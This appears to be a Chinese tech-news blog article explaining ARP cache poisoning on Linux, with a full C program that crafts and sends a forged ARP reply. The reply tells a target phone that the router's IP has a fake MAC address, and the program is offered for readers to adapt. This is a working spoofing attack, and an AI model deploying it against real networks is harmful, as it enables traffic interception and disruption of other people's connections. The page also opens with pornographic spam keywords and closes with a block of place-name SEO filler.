中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Linux中怎么實現arp攻擊

發布時間:2021-08-09 14:31:09 來源:億速云 閱讀:612 作者:Leah 欄目:互聯網科技

今天就跟大家聊聊有關Linux中怎么實現arp攻擊,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

ARP:Address Resolution Protocol 地址解析協議。它是一個鏈路層的協議。工作在OSI模型的第二層。

    由于以太網交換設備不能直接識別32位的IP地址。事實上它們都是以48位的MAC地址傳輸數據的,所以在工作時需要存在一種MAC地址和IP地址的對應關系。而ARP協議就是用來確定這種關系的。

    網絡中所有的機器都包含ARP緩存,它存儲了本地網絡中最近時間的MAC地址和IP地址的對應關系。正常情況下當ARP工作時,請求主機發出一個含有目標IP的以太網廣播數據,然后目標IP會發出一個含有IP地址和對應MAC地址的應答包。這樣請求主機就能夠獲得一對IP地址和MAC地址,然后將這一組對應關系放入ARP緩存。ARP緩存表采用老化機制,一段時間內表中的某一行不用就會被刪除。

    而對于一臺局域網上的主機,如果收到一個ARP應答報文,即便它并沒有發送請求報文或者并不是它目標IP的應答報文,該主機也會將報文中的IP和MAC地址存入緩存。

    如此,我們只要讓被攻擊的目標主機相信我們的MAC地址是網關的MAC地址。讓目標主機的網關相信我們的MAC地址是被攻擊的

    目標主機的MAC,那么所有要發往目標主機的報文就會被發到我們的主機上。

靈魂作圖時間

Linux中怎么實現arp攻擊

Linux中怎么實現arp攻擊

下面進行一次實踐,攻擊者為我的Ubuntu系統的電腦,被攻擊的為我的華為手機

Linux中怎么實現arp攻擊

代碼如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <net/if_arp.h>
#include <netpacket/packet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <arpa/inet.h>

#define print_errno(fmt, ...) \    printf("[%d] errno=%d (%s) #" fmt, \        __LINE__, errno, strerror(errno), ####__VA_ARGS__)

static unsigned char s_ip_frame_data[ETH_DATA_LEN];
static unsigned int  s_ip_frame_size = 0;

int main(int argc,char** argv) {
   struct ether_header *eth = NULL;
   struct ether_arp *arp = NULL;
   struct ifreq ifr;
   struct in_addr daddr;
   struct in_addr saddr;
   struct sockaddr_ll sll;
   int skfd;int n = 0;
   unsigned char dmac[ETH_ALEN] = {0x38,0x37,0x8B,0xC3,0x61,0x4D};//被攻擊對象的mac地址
     daddr.s_addr = inet_addr("192.168.0.125");//被攻擊對象的ip地址

     unsigned char smac[ETH_ALEN] = {0x01,0x02,0x03,0x04,0x05,0x06};//使被攻擊對象的arp表改為這個假的mac地址
   saddr.s_addr = inet_addr("192.168.0.1");//路由器

   memset(s_ip_frame_data, 0x00, sizeof(unsigned char)*ETH_DATA_LEN);    skfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
   if (skfd < 0) {        print_errno("socket() failed! \n");
       return -1;    }    bzero(&ifr,sizeof(ifr));
   strcpy(ifr.ifr_name, "wlp8s0");//這里是我的網卡名字,要改為你的網卡名字,使用ifconfig查看

   if (-1 == ioctl(skfd, SIOCGIFINDEX, &ifr)) {        print_errno("ioctl() SIOCGIFINDEX failed!\n");
       return -1;    }
   printf("ifr_ifindex = %d\n", ifr.ifr_ifindex);    bzero(&sll, sizeof(sll));    sll.sll_ifindex  = ifr.ifr_ifindex;    sll.sll_family   = PF_PACKET;    sll.sll_protocol = htons(ETH_P_ALL);    eth = (struct ether_header*)s_ip_frame_data;    eth->ether_type = htons(ETHERTYPE_ARP);
   memcpy(eth->ether_dhost, dmac, ETH_ALEN);
   memcpy(eth->ether_shost, smac, ETH_ALEN);    arp = (struct ether_arp*)(s_ip_frame_data + sizeof(struct ether_header));    arp->arp_hrd = htons(ARPHRD_ETHER);    arp->arp_pro = htons(ETHERTYPE_IP);    arp->arp_hln = ETH_ALEN;    arp->arp_pln = 4;    arp->arp_op  = htons(ARPOP_REPLY);//ARPOP_REQUEST  ARPOP_REPLY 我使用的是replay,至于request你自己去弄,我就不說了

   memcpy(arp->arp_sha, smac, ETH_ALEN);
   memcpy(arp->arp_spa, &saddr.s_addr, 4);
   memcpy(arp->arp_tha, dmac, ETH_ALEN);
   memcpy(arp->arp_tpa, &daddr.s_addr, 4);    s_ip_frame_size = sizeof(struct ether_header) + sizeof(struct ether_arp);    n = sendto(skfd, s_ip_frame_data, s_ip_frame_size, 0, \    (struct sockaddr*)&sll, sizeof(sll));
   if (n < 0) {        print_errno("sendto() failed!\n");    }else {
   printf("sendto() n = %d \n", n);    }    close(skfd);
   return 0; }

看完上述內容,你們對Linux中怎么實現arp攻擊有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

连州市| 江口县| 巴南区| 梨树县| 马山县| 兴宁市| 象州县| 舞钢市| 安顺市| 老河口市| 呈贡县| 吉木萨尔县| 白朗县| 金溪县| 淮北市| 柯坪县| 化州市| 绩溪县| 田林县| 穆棱市| 石棉县| 海兴县| 崇义县| 乐至县| 富民县| 靖边县| 酉阳| 陈巴尔虎旗| 城口县| 拜城县| 永昌县| 旌德县| 鹤岗市| 阿拉善盟| 滕州市| 垫江县| 柳江县| 泗水县| 睢宁县| 博客| 江门市|